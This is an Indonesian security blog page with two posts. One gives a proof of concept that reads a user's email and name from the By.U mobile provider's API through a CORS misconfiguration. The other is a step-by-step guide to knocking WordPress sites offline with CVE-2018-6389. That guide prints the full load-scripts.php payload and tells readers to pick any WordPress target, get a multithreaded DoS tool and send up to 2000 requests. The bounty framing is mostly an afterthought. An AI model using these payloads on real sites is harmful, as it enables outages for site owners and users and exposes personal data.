Saturday, January 25, 2020

By.U SOP Bypass | Cors Misconfiguration

Hasil gambar untuk by.u

Halo guys Rafli disini. Saya lagi semangat update nih hehehe. Kali ini saya mau sharing penemuan lagi nih dimana saya nemu CORS Misconfiguration di BY.U . Bagi yang belom tau By.u adalah provider kartu SIM yang tergolong baru dan milenial banget. byu ini anakan dari telkomsel guys silahkan kalo minat beli aja.

Ok Pertama tama kenapa saya langsung tulis write up ? karena cors misc ini adanya di API aplikasi android by.u maka dari itu kita tidak bisa melakukan real-world execution... karena cookie / barear headernya ada di aplikasi byu bukan di browser...

Jadi di api byu terdapat header :

Cache-Control: no-cache, private
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: authorization,Authorization,Content-Type,order_id,msisdn,Request-Origin

Kita bisa lihat mereka menambahkan header Allow-Origin: * yang artinya semua web bisa melakukan request ke api byu.. tapi gaes untuk melakukan csrf attack via cors misconfiguration ini dibutuhkan header Allow-Credentials: true. di byu ini gak ada headernya .. jadi kalo kita lakukan request menggunakan ajax xhr akan mendapatkan respon :
Access to XMLHttpRequest at 'http://api.byu.id/api/profile/1' from origin 'null' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

xhr/ajax tidak bisa mengirim request ke by.u karena hal tersebut. tapi taukah kalian ada cara lain nya loh. Kita bisa membypass SOP ini dengan Browser Cache. Hal ini pernah di coba oleh Hacker yang mengirim laporan ke hackerone :
SOP Bypass using Browser Cache

Nah sudah pada baca kan  ? Nah di byu ini kita bisa dapetin email dan nama serta gambar akun tersebut, caranya kita tinggal buat javascript yang melakukan request menggunakan fetch() ke api byu. server akan meloloskan request tersebut karena kita bisa pake credentials dari web tersebut menggunakan cache.

Code :

<html>
<script>
fetch('https://api.byu.id/api/profile/1')
  .then(response => response.json())
  .then(commits => alert("Email mu adalah : " + commits.data.email + "\r\nNama : " + commits.data.name));
</script>
</html>

Jika kalian mau test kalian buka by.u lalu ambil header authorization milik kalian ( sniff request nya ) lalu copy dan paste di modify header. Setelah itu kalian bisa buka html yang berisikan code tersebut dan jeng jeng Kalian bisa dapat deh...

Oke sekian itu aja dari saya untuk kali ini semoga kalian suka. dan untuk CS byu soory ya gaes udh adu argumen ketikan. thx yu.
Read more

Tuesday, January 21, 2020

Takedown Almost Any Website Using Wordpress

Hasil gambar untuk Wordpress Exokiut

Takedown Almost Any Website Used Wordpress

     Halo guys Welcome to my Website, sudah lama saya tidak publish Postingan lagi dikarenakan bingung mau Publish apa serta masalah internal diri saya sendiri. Terakhir kali saya upload tentang hacking yakni penemuan saya SSRF di ADFly yang bisa kalian baca di blog saya. Sebenarnya banyak pengalaman hunting bug saya yang belum saya tulis dikarenakan saya bingung mau nulis apa.


     Pada Artikel kali ini saya akan membahas tentang Takedown Website yang menggunakan CMS Wordpress. Takedown disini bukan berarti Takeover ya karena emang beda, maksudnya Takedown ya bikin web ini Down, istilah Populernya DDos. ya karena emang celahnya sendiri DoS ( Denial Of Service ) oh iya bagi kalian yang belom Tau apa itu DoS nih saya akan jelaskan 

Apa itu DoS ?
 English :
A denial-of-service (DoS) attack is a type of cyber attack in which a malicious actor aims to render a computer or other device unavailable to its intended users by interrupting the device's normal functioning. DoS attacks typically function by overwhelming or flooding a targeted machine with requests until normal traffic is unable to be processed, resulting in denial-of-service to addition users. A DoS attack is characterized by using a single computer to launch the attack.

Indonesia ( Menurut Pemahaman Bahasa inggris saya ) :
Denial Of Service adalah jenis serangan cyber dimana penyerang berusaha untuk membuat service / website itu tidak berfunsi, sehingga tidak bisa digunakan dan merugikan user maupun Pemilik website.

Nah Dos ini ada yang Distributed Denial Of Service atau dikenal dengan DDoS dan DoS biasa ( entah apa namanya )

DDoS :
DDoS ini merupakan serangan DoS dimana attacker mengirim paket Secara sekaligus dengan jumlah yang besar, sehingga jika website target tidak memiliki Filter / Pencegah pengunjung Invalid maka jumlah bandwitch yang dipakai server akan naik tentunya memory juga bisa kepakai banyak banget sehingga Cukup bahaya. Namun Ddos ini sudah banyak pencegahnya, pemilik website tinggal menggunakan Service seperti Cloudflare di website nya .

DoS Biasa :
DoS ini biasanya terjadi saat ente memasukan Jumlah data yang besar maupun data yang tidak bisa di baca server, contohnya : Pixel Flood attack. Contoh saja ketika saya memasukan input "%0t" ke server / sebuah form lalu ternyata server tersebut tidak menanggapi dan malah memberikan respon 503.. nah itu namanya DoS..

Bagi kalian yang penasaran tentang DoS Versi biasa ( Bukan DDoS ) maka kalian bisa baca :

Oke kita lanjut ke bahasan selanjutnya celah dimana kita bisa takedown Wordpress Account. Jadi bugnya merupakan Exploit CVE-2018-6389 dimana saat kita membuka load-scripts.php dengan memasukan payload ( Module js berjumlah banyak ) dan mengirimkan / membuka halaman tersebut secara terus menerus akan membuat website tersebut menggunakan banyak memmory, jika sampai 100% bisa saja web tersebut down.
How To :

1. Cari Target kalian
     Oke cari target kalian yang menggunakan wordpress, oh iya untuk pembuktian ada banyak website yang bisa menangkal ddos biasa ( Cloudflare sudah terpasang ) tetapi jika yang diddos load-scrips.php cloudflare akan membiarkannya masuk ( biasanya ), tapi ada juga web yang sudah di beri proteksi tambahan.
2. Coba Buka load-scripts.php
   Buka Load-scripts.php yang terletak di : domain.com/[path]/wp-admin/load-scripts.php jika saat dibuka blank maka kemungkinan masih bisa diakses , ciri ciri tidak vulnerable adalah saat diakses halaman menjadi 403 forbidden / not found.
3. Buat Tool DDOS
      Buat atau cari tools ddos, jangan ddos bocah termux bro cari yang multithreads. kalian bisa download di : Doser.py

4. Masukkan url+payloads ke tools ddos, kirim 1-2000 request.
   
Payloads:
wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9

5. jalankan tools ddos, sekarang cek apakah web sudah terasa loading nya lama / Down / 503 error.
  Biasanya Jika yang down cuma di user itu sendiri itu severitynya dianggap low dan jarang dianggap bug, tapi jika servernya down yang artinya semua orang gak bisa akses itu severitynya P4 , mau bilang p3 tapi gk mungkin p3..


6. Jika anda Whitehat hacker laporkan ke admin website dan dapatkan hadiah darinya !


Nah dari bug tersebut banyak loh yang sudah mendapat bounty. saya sendiri sudah dapet 50 ribu dari web sugeng.id serta laporan saya di hackerone.com sudah Triage yang artinya sedang ditindak lanjuti. masih gak percaya ? berikut hacker yang dapat bounty dari exploit ini :

1. MD15Ev : Informative but awarded $100

2. Pankaj Infosec : $700 Denial Of Service

Reward yang diberikan tergantung keputusan dan reputasi website tesebut, jika web besar bisa saja dapat $200+++ jika web kecil ya kecil kemungkinan hadiah nya besar wkwkwkwk. Okelah sekian itu aja yang bisa saya bagikan semoga kalian suka hehehe jangan lupa untuk tetap baca baca writeup lain biar ilmu makin bertambah salam heker ganteng.


Read more